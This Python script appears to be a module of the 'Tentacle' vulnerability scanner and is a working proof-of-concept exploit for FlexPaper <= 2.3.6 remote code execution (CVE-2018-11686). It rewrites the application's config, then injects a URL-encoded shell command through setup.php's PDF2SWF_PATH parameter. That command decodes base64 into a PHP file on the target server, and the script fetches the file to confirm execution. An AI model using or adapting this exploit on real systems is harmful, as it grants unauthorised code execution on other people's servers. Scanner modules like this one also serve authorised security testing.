/script/flexpaper/CVE-2018-11686.py

https://github.com/orleven/Tentacle · Python · 50 lines · 44 code · 3 blank · 3 comment · 12 complexity · e0702a0ea268fc5de0357f09f9b5eccf MD5 · raw file

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @author: 'orleven'
  4. from lib.utils.connect import ClientSession
  5. from lib.core.enums import VUL_LEVEL
  6. from lib.core.enums import VUL_TYPE
  7. from lib.core.enums import SERVICE_PORT_MAP
  8. from script import Script
  9. class POC(Script):
  10. def __init__(self, target=None):
  11. self.service_type = SERVICE_PORT_MAP.WEB
  12. self.name = 'flexpaper 2.3.6 getshell'
  13. self.keyword = ['flexpaper']
  14. self.info = 'FlexPaper <= 2.3.6 RCE.(CVE-2018-11686)'
  15. self.type = VUL_TYPE.RCE
  16. self.level = VUL_LEVEL.HIGH
  17. self.refer = 'https://mp.weixin.qq.com/s/8eBwfW231Nm02Lz8La2P1w'
  18. Script.__init__(self, target=target, service_type=self.service_type)
  19. async def prove(self):
  20. await self.get_url()
  21. if self.base_url:
  22. path_list = list(set([
  23. self.url_normpath(self.base_url, '/'),
  24. self.url_normpath(self.url, './'),
  25. ]))
  26. async with ClientSession() as session:
  27. for path in path_list:
  28. payload = (
  29. ("SAVE_CONFIG", "1"), ("PDF_Directory", "/var/www/html/flex2.3.6/flexpaper/pdf"),
  30. ("SWF_Directory", "config/"),
  31. ("LICENSEKEY", ""), ("splitmode", "1"), ("RenderingOrder_PRIM", "flash"), ("RenderingOrder_SEC", "html"))
  32. shellcode = "%65%63%68%6f%20%50%44%39%77%61%48%41%67%63%47%68%77%61%57%35%6d%62%79%67%70%4f%7a%38%2b%20%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%65%73%74%66%6f%72%6d%65%2e%70%68%70"
  33. url1 = path + "flexpaper/php/change_config.php"
  34. url2 = path + "flexpaper/php/setup.php?step=2&PDF2SWF_PATH=" + shellcode
  35. url3 = path + 'flexpaper/php/testforme.php'
  36. async with session.post(url=url1, data=payload) as res1:
  37. if res1 != None and res1.status == 200:
  38. async with session.get(url=url2) as res2:
  39. if res2 != None and res2.status == 200:
  40. async with session.get(url=url3) as res3:
  41. if res3 != None:
  42. text3 = await res3.text()
  43. if "php.ini" in text3:
  44. self.flag = 1
  45. self.req.append({"url": url3})
  46. self.res.append({"info": url3, "key": "flexpaper_236_getshell"})
  47. return